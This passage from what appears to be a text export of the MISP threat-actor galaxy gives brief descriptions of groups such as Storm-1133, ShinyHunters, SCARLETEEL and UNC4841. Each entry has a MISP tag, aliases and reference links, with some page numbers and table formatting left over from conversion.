<td><a href="https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set">https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set</a></td>
</tr>
</tbody>
</table>

Storm-1133

In early 2023, Microsoft observed a wave of activity from a Gaza-based group that we track as Storm-1133 targeting Israeli private sector energy, defense, and telecommunications organizations.

The tag is: **misp-galaxy:threat-actor="Storm-1133"**

Table 11547. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://therecord.media/hacktivists-take-sides-israel-palestinian">https://therecord.media/hacktivists-take-sides-israel-palestinian</a></td>
</tr>
</tbody>
</table>

TA499

TA499, also known as Vovan and Lexus, is a Russia-aligned threat actor that has aggressively engaged in email campaigns since at least 2021. The threat actor's campaigns attempt to convince high-profile North American and European government officials as well as CEOs of prominent companies and celebrities into participating in recorded phone calls or video chats.

The tag is: **misp-galaxy:threat-actor="TA499"**

TA499 is also known as:

- Vovan
- Lexus

Table 11548. Table References
BadRory

Kaspersky researchers have identified a new APT group named BadRory that has mounted two waves of spear-phishing attacks against Russian organizations. The campaigns took place in October 2022 and April 2023 and leveraged boobytrapped Office emails. Targets included government entities, military contractors, universities, and hospitals.

The tag is: `misp-galaxy:threat-actor="BadRory"`

SharpPanda

SharpPanda, an APT group originating from China, has seen a rise in its cyber-attack operations starting from at least 2018. The APT group utilizes spear-phishing techniques to obtain initial access, employing a combination of outdated Microsoft Office document vulnerabilities, novel evasion techniques, and highly potent backdoor malware.

The tag is: `misp-galaxy:threat-actor="SharpPanda"`

Guacamaya

Guacamaya has conducted multiple hack and leak campaigns against military and police agencies and mining companies across Latin America, which they believe have played a role in the region’s environmental degradation and repression of native populations.

The tag is: `misp-galaxy:threat-actor="Guacamaya"`
DustSquad

Prodaft researchers have published a report on Paperbug, a cyber-espionage campaign carried out by suspected Russian-speaking group Nomadic Octopus and which targeted entities in Tajikistan. According to Prodaft, known compromised victims included high-ranking government officials, telcos, and public service infrastructures. Compromised devices also included OT devices, besides your typical computers, servers, and mobile devices. In typical Prodaft fashion, the company also gained access to one of the group’s C&C server backend panels.

The tag is: misp-galaxy:threat-actor="DustSquad"

DustSquad is also known as:

- Nomadic Octopus

Table 11552. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.prodaft.com/m/reports/PAPERBUG_TLPWHITE-1.pdf">https://www.prodaft.com/m/reports/PAPERBUG_TLPWHITE-1.pdf</a></td>
</tr>
</tbody>
</table>

KromSec

KromSec is a hacktivist group that claims to be composed of hackers, activists, writers, and journalists. The group has been involved in a number of high-profile cyberattacks, including a cyber offensive against Iran in September 2022 and the sale of the database of the Iran Ministry of Industries and Mines on a hacker forum in November 2023. KromSec’s attacks have been met with mixed reactions, but the group has quickly made a name for itself as a significant threat to governments and organizations around the world.

The tag is: misp-galaxy:threat-actor="KromSec"

Table 11553. Table References
Cyber Av3ngers

The hacktivist group ‘Cyber Av3ngers’ has historically claimed attacks on Israel’s critical infrastructures. It has been launching DDoS attacks and claiming breach of Israeli networks with supporting data leaks.

The tag is: *misp-galaxy:threat-actor="Cyber Av3ngers"

### Table 11554. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Altahrea Team

Altahrea Team is a pro-Iranian hacking group that has been active since at least 2020. The group has claimed responsibility for a number of cyberattacks, including DDoS attacks against Israeli websites, a hack of the Israel Airports Authority website, and a cyberattack on the Orot Yosef power plant in Israel.

The tag is: *misp-galaxy:threat-actor="Altahrea Team"

### Table 11555. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
1937CN

1937CN is a Chinese hacking group that has been active since at least 2013. The group is known for targeting Vietnamese organizations, including government agencies, businesses, and media outlets. 1937CN has been linked to a number of high-profile cyberattacks, including the hacking of Vietnam Airlines in 2016 and the defacement of Vietnamese government websites in 2015.

The tag is: *misp-galaxy:threat-actor*="1937CN"

<table>
<thead>
<tr>
<th>Table 11556. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/international-hacktivism-analysis/">https://www.recordedfuture.com/international-hacktivism-analysis/</a></td>
</tr>
<tr>
<td><a href="http://securityaffairs.co/wordpress/49876/hacking/china-1937cn-team-vietnam.html">http://securityaffairs.co/wordpress/49876/hacking/china-1937cn-team-vietnam.html</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a">https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a</a></td>
</tr>
</tbody>
</table>

ShroudedSnooper

In September 2023, Cisco Talos identified a new malware family that it calls ‘HTTPSnoop’ being deployed against telecommunications providers in the Middle East. They also discovered a sister implant to ‘HTTPSnoop,’ that they are naming ‘PipeSnoop,’ which can accept arbitrary shellcode from a named pipe and execute it on the infected endpoint. Based on these findings, the researchers assess with high confidence that both implants belong to a new intrusion set that it named ‘ShroudedSnooper.’

The tag is: *misp-galaxy:threat-actor*="ShroudedSnooper"

<table>
<thead>
<tr>
<th>Table 11557. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/introducing-shrouded-snooper/">https://blog.talosintelligence.com/introducing-shrouded-snooper/</a></td>
</tr>
</tbody>
</table>

ShinyHunters

ShinyHunters is a cybercriminal group of unknown origin that is motivated by financial gain. The group is known for its sophisticated attacks against a wide range of targets, including businesses, organizations, and government agencies. ShinyHunters typically uses phishing attacks and exploit kits to gain access to victim networks, where they deploy malware to steal sensitive data, such as names, addresses, phone numbers, Social Security numbers, and credit card information.

The tag is: *misp-galaxy:threat-actor*="ShinyHunters"

<table>
<thead>
<tr>
<th>Table 11558. Table References</th>
</tr>
</thead>
</table>

7210
IronHusky

IronHusky is a Chinese-based threat actor first attributed in July 2017 targeting Russian and Mongolian governments, as well as aviation companies and research institutes. Since their initial attacks ceased in 2018, they have been working on a new remote access trojan dubbed MysterySnail.

The tag is: `misp-galaxy:threat-actor="IronHusky"`

Table 11559. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/">https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/</a></td>
</tr>
<tr>
<td><a href="https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&amp;solutionid=sk175885">https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&amp;solutionid=sk175885</a></td>
</tr>
</tbody>
</table>

UserSec

UserSec is a pro-Russian hacking group that has been active since at least 2022. The group is known for its DDoS attacks and has collaborated with other pro-Russian hacking groups. In May 2023, UserSec announced a cyber campaign targeting NATO member states and joined forces with KillNet to launch attacks against NATO.

The tag is: `misp-galaxy:threat-actor="UserSec"`

Table 11560. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://therecord.media/scandinavian-airlines-cyberattack-anonymous-sudan/">https://therecord.media/scandinavian-airlines-cyberattack-anonymous-sudan/</a></td>
</tr>
</tbody>
</table>
UAC-0094

State Service of Special Communication and Information Protection of Ukraine spotted a new wave of cyber attacks aimed at gaining access to users’ Telegram accounts. The Ukrainian CERT attributes the hacking campaign to threat actors tracked as UAC-0094. Threat actors are targeting Telegram users by sending Telegram messages with malicious links to the Telegram website in order to gain unauthorized access to the records and transfer a one-time code from SMS.

The tag is: misp-galaxy:threat-actor="UAC-0094"

TraderTraitor

TraderTraitor targets blockchain companies through spear-phishing messages. The group sends these messages to employees, particularly those in system administration or software development roles, on various communication platforms, intended to gain access to these start-up and high-tech companies. TraderTraitor may be the work of operators previously responsible for APT38 activity.

The tag is: misp-galaxy:threat-actor="TraderTraitor"

TraderTraitor is also known as:

- Jade Sleet
- UNC4899

TheDarkOverlord

The Dark Overlord is a financially motivated ransomware group that has been active since 2016. The group is known for targeting large organizations, including Netflix, ABC, and Miramax.

The tag is: misp-galaxy:threat-actor="TheDarkOverlord"
UNC2565

UNC2565 is a threat group that has used the GOOTLOADER downloader to deliver Cobalt Strike BEACON. These intrusions have stemmed from victims accessing malicious websites that use SEO techniques to improve Google search rankings. After obtaining a foothold in the environment, UNC2565 has conducted reconnaissance and credential harvesting activity using common tools such as BLOODHOUND and KERBEROAST. UNC2565's motivations are currently unknown but overlaps with activity that has led to SODINOKIBI ransomware. This suggests that the threat group may be financially motivated.

The tag is: `misp-galaxy:threat-actor="UNC2565"`

UNC2565 is also known as:

- Hive0127

Desorden Group

Desorden (Disorder in Spanish, previously known as ChaosCC), is a financially motivated hacker group. The group first emerged under the new name Desorden in September 2021, on Raidforums. Today the group maintains users under that name on several popular English-speaking hacking forums, where they share their attacks and ransom demands, and offer databases for sale. The group gained an excellent reputation among the cybercriminal communities due to their successful operations and the unique data that they share and offer for sale.

The tag is: `misp-galaxy:threat-actor="Desorden Group"`

Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/tracking-evolution-gootloader-operations">https://www.mandiant.com/resources/blog/tracking-evolution-gootloader-operations</a></td>
</tr>
</tbody>
</table>
Confucious

Confucius is an APT organization funded by India. It has been carrying out cyber attacks since 2013. Its main targets are India's neighbouring countries such as Pakistan and China. It has a strong interest in targets in the fields of military, government and energy.

The tag is: *misp-galaxy:threat-actor=*"Confucious"

Table 11566. Table References

Links

https://blog.nsfocus.net/aptconfuciuspakistanibo/

Kiss-a-Dog

CrowdStrike identified a cryptojacking campaign targeting vulnerable Docker and Kubernetes infrastructure. Called “Kiss-a-dog,” the campaign targets Docker and Kubernetes infrastructure using an obscure domain from the payload, container escape attempt and anonymized “dog” mining pools.

The tag is: *misp-galaxy:threat-actor=*"Kiss-a-Dog"

Table 11567. Table References

Links


DEV-1028

Microsoft reported on MCCrash, an IoT botnet operated by the DEV-1028 threat actor and used to
launch DDoS attacks against private Minecraft servers.

The tag is: misp-galaxy:threat-actor="DEV-1028"

Table 11568. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**TwoSail Junk**

TwoSail Junk directs visitors to its exploit site by posting links within the threads of forum discussions, or creating new topic threads of their own. To date, dozens of visits were recorded from within Hong Kong, with a couple from Macau. The technical details around the functionality of the iOS implant, called LightSpy, and related infrastructure, reveal a low-to-mid capable actor. However, the iOS implant is a modular and exhaustively functional iOS surveillance framework.

The tag is: misp-galaxy:threat-actor="TwoSail Junk"

Table 11569. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Xcatze**

Cloud security company Lacework says it discovered a threat actor group named Xcatze that uses a Python named AndroxGh0st to take over AWS servers and send out massive email spam campaigns. Lacework says the malware operates by scanning web apps written in the Laravel PHP framework for exposed configuration files to identify and steal server credentials. Researchers said AndroxGh0st specifically searches for AWS, SendGrid, and Twilio credentials, which it uses to take control of email servers and accounts and send out the spam campaigns.

The tag is: misp-galaxy:threat-actor="Xcatze"

Table 11570. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**BlueBottle**

Bluebottle, a cyber-crime group that specializes in targeted attacks against the financial sector, is continuing to mount attacks on banks in Francophone countries. The group makes extensive use of living off the land, dual-use tools, and commodity malware, with no custom malware deployed in this campaign.
The tag is: `misp-galaxy:threat-actor="BlueBottle"

Table 11571. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Dalbit**

The group usually targets vulnerable servers to breach information including internal data from companies or encrypts files and demands money. Their targets of attack are usually Windows servers that are poorly managed or are not patched to the latest version. Besides these, there are also attack cases that targeted email servers or MS-SQL database servers.

The tag is: `misp-galaxy:threat-actor="Dalbit"

Table 11572. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**SingularityMD**

SingularityMD is a threat actor group that has targeted educational institutions in the US. They gained unauthorized access to their networks by exploiting weak security practices, such as using students’ dates of birth as passwords. SingularityMD demanded a ransom in cryptocurrency and threatened to leak stolen information if not paid. They have demonstrated a willingness to follow through on their threats and have already leaked some data.

The tag is: `misp-galaxy:threat-actor="SingularityMD"

Table 11573. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.databreaches.net/hackers-escalate-leak-200k-ccsd-students-data-claim-to-still-have-access-to-ccsd-email-system/">https://www.databreaches.net/hackers-escalate-leak-200k-ccsd-students-data-claim-to-still-have-access-to-ccsd-email-system/</a></td>
</tr>
</tbody>
</table>
SCARLETEEL

SCARLETEEL is a threat actor that primarily targets cloud environments, specifically AWS and Kubernetes. They have been observed stealing proprietary data and intellectual property, as well as conducting cryptomining operations. SCARLETEEL employs sophisticated tactics and tools to bypass security measures and gain unauthorized access to accounts, often exploiting vulnerabilities in containerized workloads and misconfigurations in AWS policies.

The tag is: misp-galaxy:threat-actor="SCARLETEEL"

<table>
<thead>
<tr>
<th>Table 11574. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://sysdig.com/blog/scarleteel-2-0/">https://sysdig.com/blog/scarleteel-2-0/</a></td>
</tr>
<tr>
<td><a href="https://sysdig.com/blog/cloud-breach-terraform-data-theft/">https://sysdig.com/blog/cloud-breach-terraform-data-theft/</a></td>
</tr>
</tbody>
</table>

DiceyF

DiceyF is an advanced persistent threat group that has been targeting online casinos and other victims in Southeast Asia for an extended period. They have exhibited overlapping activity with LuckyStar PlugX and Earth Berberoka/GamblingPuppet, as reported by various cybersecurity vendors. While their motivations remain unclear, previous incidents suggest a combination of espionage and intellectual property theft rather than immediate financial gain. DiceyF continuously evolves their codebase and adds encryption capabilities to enhance their stealthy cyberespionage activities.

The tag is: misp-galaxy:threat-actor="DiceyF"

<table>
<thead>
<tr>
<th>Table 11575. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

DEV-0950

Lace Tempest, also known as DEV-0950, is a threat actor that exploited vulnerabilities in software such as SysAid and PaperCut to gain unauthorized access to systems. Lace Tempest is known for deploying the Clop ransomware and exfiltrating data from compromised networks.

The tag is: misp-galaxy:threat-actor="DEV-0950"

DEV-0950 is also known as:

- Lace Tempest

<table>
<thead>
<tr>
<th>Table 11576. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

WeRedEvils

WeRedEvils is a hacking group that has claimed responsibility for multiple cyber attacks. They targeted the Iranian Electric Grid and the Tasnimnews website, causing the latter to go offline. The group also claimed to have hacked into Iran's oil infrastructure, causing significant damage. They emerged in response to the Hamas massacre and are believed to be a group of Israeli cyber experts.

The tag is: `misp-galaxy:threat-actor="WeRedEvils"`

<table>
<thead>
<tr>
<th>Table 11577. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
</tbody>
</table>

WIRTE

WIRTE is a threat actor group that was first discovered in 2018. They are suspected to be part of the Gaza Cybergang, an Arabic politically motivated cyber criminal group. WIRTE has been observed changing their toolkit and operating methods to remain undetected for longer periods of time. They primarily target governmental and political entities, but have also been known to target law firms and financial institutions.

The tag is: `misp-galaxy:threat-actor="WIRTE"`

<table>
<thead>
<tr>
<th>Table 11578. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/wirte-group-attacking-the-middle-east/">https://lab52.io/blog/wirte-group-attacking-the-middle-east/</a></td>
</tr>
</tbody>
</table>

Caracal Kitten

Caracal Kitten is an APT group that has been targeting activists associated with the Kurdistan Democratic Party. They employ a mobile remote access Trojan to gain unauthorized access to victims' devices. The group disguises their malware as legitimate mobile apps, tricking users into installing them and granting the hackers access to their personal data.

The tag is: `misp-galaxy:threat-actor="Caracal Kitten"`

Caracal Kitten is also known as:
Water Labbu

Trend Micro discovered a threat actor they named Water Labbu that was targeting cryptocurrency scam websites. Typically, cryptocurrency scammers use social engineering techniques, interacting with victims to gain their trust and then manipulating them into providing the permissions needed to transfer cryptocurrency assets. While Water Labbu managed to steal cryptocurrencies via a similar method by obtaining access permissions and token allowances from their victim’s wallets, unlike other similar campaigns, they did not use any kind of social engineering — at least not directly. Instead, Water Labbu lets other scammers use their social engineering tricks to scam unsuspecting victims.

The tag is: misp-galaxy:threat-actor="Water Labbu"

TAG-56

TAG-56 is a threat actor group that shares similarities with the APT42 group. They use tactics such as fake registration pages and spearphishing to target victims, often using encrypted chat platforms like WhatsApp or Telegram. TAG-56 is believed to be part of a broader campaign led by an Iran-nexus threat activity group. They have been observed using shared web hosts and recycled code, indicating a preference for acquiring purpose-built infrastructure rather than establishing their own.

The tag is: misp-galaxy:threat-actor="TAG-56"
TA482

Since early 2022, Proofpoint researchers have observed a prolific threat actor, tracked as TA482, regularly engaging in credential harvesting campaigns that target the social media accounts of mostly US-based journalists and media organizations. This victimology, TA482's use of services originating from Turkey to host its domains and infrastructure, as well as Turkey's history of leveraging social media to spread pro-President Recep Tayyip Erdogan and pro-Justice and Development Party (Turkey’s ruling party) propaganda support Proofpoint’s assessment that TA482 is aligned with the Turkish state.

The tag is: `misp-galaxy:threat-actor"TA482"

Table 11582. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

XakNet

XakNet is a self-proclaimed hacktivist group that has targeted Ukraine. They claim to be comprised of Russian patriotic volunteers and have conducted various threat activities, including DDoS attacks, compromises, data leaks, and website defacements. They coordinate their operations with other hacktivist groups and have connections to APT28, a cyber espionage group sponsored by the GRU.

The tag is: `misp-galaxy:threat-actor"XakNet"

Table 11583. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/gru-rise-telegram-minions">https://www.mandiant.com/resources/blog/gru-rise-telegram-minions</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/gru-disruptive-playbook">https://www.mandiant.com/resources/blog/gru-disruptive-playbook</a></td>
</tr>
</tbody>
</table>

Zarya

Zarya is a pro-Russian hacktivist group that emerged in March 2022. Initially operating as a special forces unit under the command of Killnet, Zarya has since become an independent entity. The group is primarily known for engaging in Denial-of-Service attacks, website defacement campaigns, and data leaks. Zarya targets government agencies, service providers, critical infrastructure, and civil service employees, both domestically and internationally.

The tag is: `misp-galaxy:threat-actor"Zarya"

Table 11584. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/killnet-new-capabilities-older-tactics">https://www.mandiant.com/resources/blog/killnet-new-capabilities-older-tactics</a></td>
</tr>
</tbody>
</table>
DarkCasino

DarkCasino is an economically motivated APT group that targets online trading platforms, including cryptocurrencies, online casinos, network banks, and online credit platforms. They are skilled at stealing passwords to access victims' online accounts and have been active for over a year. DarkCasino exploits vulnerabilities, such as the WinRAR vulnerability CVE-2023-38831, to launch phishing attacks and steal online property.

The tag is: `misp-galaxy:threat-actor="DarkCasino"`

Prolific Puma

Prolific Puma provides an underground link shortening service to criminals. Infoblox states that during analysis, no legitimate content was observed being served through their shortener. For operation they use a registered domain generation algorithm (RDGA), based upon which they registered between 35k-75k domain names.

The tag is: `misp-galaxy:threat-actor="Prolific Puma"`

Bohrium

Bohrium is an Iranian threat actor that has been involved in spear-phishing operations targeting organizations in the US, Middle East, and India. They often create fake social media profiles, particularly posing as recruiters, to trick victims into running malware on their computers. Microsoft’s Digital Crimes Unit has taken legal action and seized 41 domains used by Bohrium to disrupt their activities. The group has shown a particular interest in sectors such as technology, transportation, government, and education.
Table 11587. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/CyberAmyHB/status/1532398956918890500">https://twitter.com/CyberAmyHB/status/1532398956918890500</a></td>
</tr>
</tbody>
</table>

**KAX17**

KAX17 is a sophisticated threat actor that has been active since at least 2017. They have operated hundreds of malicious servers within the Tor network, primarily as entry and middle points. Their main objective appears to be collecting information on Tor users and mapping their routes within the network. Despite efforts to remove their servers, KAX17 has shown resilience and continues to operate.

Table 11588. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.malwarebytes.com/blog/news/2021/12/was-threat-actor-kax17-de-anonymizing-the-tor-network/amp">https://www.malwarebytes.com/blog/news/2021/12/was-threat-actor-kax17-de-anonymizing-the-tor-network/amp</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/a-mysterious-threat-actor-is-running-hundreds-of-malicious-tor-relays">https://therecord.media/a-mysterious-threat-actor-is-running-hundreds-of-malicious-tor-relays</a></td>
</tr>
<tr>
<td><a href="https://nusenu.medium.com/is-kax17-performing-de-anonymization-attacks-against-tor-users-42e566defce8">https://nusenu.medium.com/is-kax17-performing-de-anonymization-attacks-against-tor-users-42e566defce8</a></td>
</tr>
</tbody>
</table>

**MirrorFace**

MirrorFace is a Chinese-speaking advanced persistent threat group that has been targeting high-value organizations in Japan, including media, government, diplomatic, and political entities. They have been conducting spear-phishing campaigns, utilizing malware such as LODEINFO and MirrorStealer to steal credentials and exfiltrate sensitive data. While there is speculation about their connection to APT10, ESET currently track them as a separate entity.

The tag is: *misp-galaxy:threat-actor=*MirrorFace*

Table 11589. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/">https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/</a></td>
</tr>
</tbody>
</table>

7222
VulzSecTeam

VulzSec, also known as VulzSecTeam, is a hacktivist group that has been involved in various cyber-attacks. They have targeted government websites in retaliation for issues such as police brutality and the treatment of Indian Muslims. The group has been involved in campaigns like OpIndia2.0, where they planned to launch DDoS attacks on Indian government websites.

The tag is: `misp-galaxy:threat-actor="VulzSecTeam"`

VulzSecTeam is also known as:

- VulzSec

Table 11590. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Chernovite

Chernovite is a highly capable and sophisticated threat actor group that has developed a modular ICS malware framework called PIPEDREAM. They are known for targeting industrial control systems and operational technology environments, with the ability to disrupt, degrade, and potentially destroy physical processes. Chernovite has demonstrated a deep understanding of ICS protocols and intrusion techniques, making them a significant threat to critical infrastructure sectors.

The tag is: `misp-galaxy:threat-actor="Chernovite"`

Table 11591. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.dragos.com/blog/pipedream-mousehole-opcia-module/">https://www.dragos.com/blog/pipedream-mousehole-opcia-module/</a></td>
</tr>
</tbody>
</table>

MurenShark

MurenShark is an advanced persistent threat group that operates primarily in the Middle East, with a focus on targeting Turkey. They have shown interest in military projects, as well as research institutes and universities. This group is highly skilled in counter-analysis and reverse traceability, using sophisticated tactics to avoid detection. They utilize compromised websites as file servers and command and control servers, and have been known to use attack tools like NiceRender for
phishing purposes.

The tag is: `misp-galaxy:threat-actor="MurenShark"`

MurenShark is also known as:

- Actor210426

Table 11592. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**DriftingCloud**

DriftingCloud is a persistent threat actor known for targeting various industries and locations. They are skilled at developing or acquiring zero-day exploits to gain unauthorized access to target networks. Compromising gateway devices is a common tactic used by DriftingCloud, making network monitoring solutions crucial for detecting their attacks.

The tag is: `misp-galaxy:threat-actor="DriftingCloud"`

Table 11593. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://socradar.io/driftingcloud-apt-group-exploits-zero-day-in-sophos-firewall/">https://socradar.io/driftingcloud-apt-group-exploits-zero-day-in-sophos-firewall/</a></td>
</tr>
<tr>
<td><a href="https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/">https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/</a></td>
</tr>
</tbody>
</table>

**UNC4191**

UNC4191 is a China-linked threat actor that has been involved in cyber espionage campaigns targeting public and private sectors primarily in Southeast Asia. They have been known to use USB devices as an initial infection vector and have been observed deploying various malware families on infected systems. UNC4191's operations have also extended to the US, Europe, and the Asia Pacific Japan region, with a particular focus on the Philippines.

The tag is: `misp-galaxy:threat-actor="UNC4191"`

Table 11594. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia">https://www.mandiant.com/resources/blog/china-nexus-espionage-southeast-asia</a></td>
</tr>
</tbody>
</table>
DragonSpark

DragonSpark is a threat actor that has been conducting attacks primarily targeting organizations in East Asia. They utilize the open-source tool SparkRAT, which is a multi-platform and frequently updated remote access Trojan. The threat actor is believed to be Chinese-speaking based on their use of Chinese language support and compromised infrastructure located in China and Taiwan. They employ various techniques to evade detection, including Golang source code interpretation and the use of the China Chopper webshell.

The tag is: misp-galaxy:threat-actor="DragonSpark"

FusionCore

The CYFIRMA research team has identified a new up-and-coming European threat actor group known as FusionCore. Running Malware-as-a-service, along with the hacker-for-hire operation, they have a wide variety of tools and services that are being offered on their website, making it a one-stop-shop for threat actors looking to purchase cost-effective yet customizable malware. The operators have started a ransomware affiliate program that equips the attackers with the ransomware and affiliate software to manage victims. FusionCore typically provides sellers with a detailed set of instructions for any service or product being sold, enabling individuals with minimal experience to carry out complex attacks.

The tag is: misp-galaxy:threat-actor="FusionCore"

Earth Kitsune

Earth Kitsune is an advanced persistent threat actor that has been active since at least 2019. They primarily target individuals interested in North Korea and use various tactics, such as compromising websites and employing social engineering, to distribute self-developed backdoors. Earth Kitsune demonstrates technical proficiency and continuously evolves their tools, tactics, and procedures. They have been associated with malware such as WhiskerSpy and SLUB.

The tag is: misp-galaxy:threat-actor="Earth Kitsune"
AppMilad

AppMilad is an Iranian hacking group that has been identified as the source of a spyware campaign called RatMilad. This spyware is designed to silently infiltrate victims' devices and gather personal and corporate information, including private communications and photos. The group has been distributing the spyware through fake apps and targeting primarily Middle Eastern enterprises.

The tag is: `misp-galaxy:threat-actor="AppMilad"`

Table 11598. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://zimpstage.wpengine.com/blog/we-smell-a-ratmilad-mobile-spyware/">https://zimpstage.wpengine.com/blog/we-smell-a-ratmilad-mobile-spyware/</a></td>
</tr>
</tbody>
</table>

UNC4841

UNC4841 is a well-resourced threat actor that has utilized a wide range of malware and purpose-built tooling to enable their global espionage operations. They have been observed selectively deploying specific malware families at high priority targets, with SKIPJACK being the most widely deployed. UNC4841 primarily targeted government and technology organizations, but they have also been observed targeting other verticals.

The tag is: `misp-galaxy:threat-actor="UNC4841"`

Table 11599. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.polyswarm.io/unc4841-targeting-government-entities-with-barracuda-esg-0day-cve-2023-2868">https://blog.polyswarm.io/unc4841-targeting-government-entities-with-barracuda-esg-0day-cve-2023-2868</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/unc4841-post-barracuda-zero-day-remediation">https://www.mandiant.com/resources/blog/unc4841-post-barracuda-zero-day-remediation</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally">https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally</a></td>
</tr>
</tbody>
</table>

CL-STA-0043

CL-STA-0043 is a highly skilled and sophisticated threat actor, believed to be a nation-state, targeting governmental entities in the Middle East and Africa. They exploit vulnerabilities in on-
premises Internet Information Services and Microsoft Exchange servers to infiltrate target networks. They engage in reconnaissance, locate vital assets, and have been observed using native Windows tools for privilege escalation.

The tag is: `misp-galaxy:threat-actor="CL-STA-0043"`

Table 11600. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**DEV-0928**

DEV-0928 is a threat actor that has been tracked by Microsoft since September 2022. They are known for their involvement in high-volume phishing campaigns, using tools offered by DEV-1101. DEV-0928 sends phishing emails to targets and has been observed launching campaigns involving millions of emails. They also utilize evasion techniques, such as redirection to benign pages, to avoid detection.

The tag is: `misp-galaxy:threat-actor="DEV-0928"`

Table 11601. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**TEMP_Heretic**

TEMP_Heretic is a threat actor that has been observed engaging in targeted spear-phishing campaigns. They exploit vulnerabilities in email platforms, such as Zimbra, to exfiltrate emails from government, military, and media organizations. They use multiple outlook.com email addresses and manually craft content for each email before sending it.

The tag is: `misp-galaxy:threat-actor="TEMP_Heretic"`

Table 11602. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.volexity.com/blog/2022/02/03/operation-emailthief-active-exploitation-of-zero-day-xss-vulnerability-in-zimbra/">https://www.volexity.com/blog/2022/02/03/operation-emailthief-active-exploitation-of-zero-day-xss-vulnerability-in-zimbra/</a></td>
</tr>
</tbody>
</table>
WeedSec

WeedSec is a threat actor group that recently targeted the online learning and course management platform Moodle. They posted sample databases of Moodle on their Telegram channel, which is widely used by educational institutions and workplaces.

The tag is: `misp-galaxy:threat-actor="WeedSec"`

**Table 11603. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

TA444

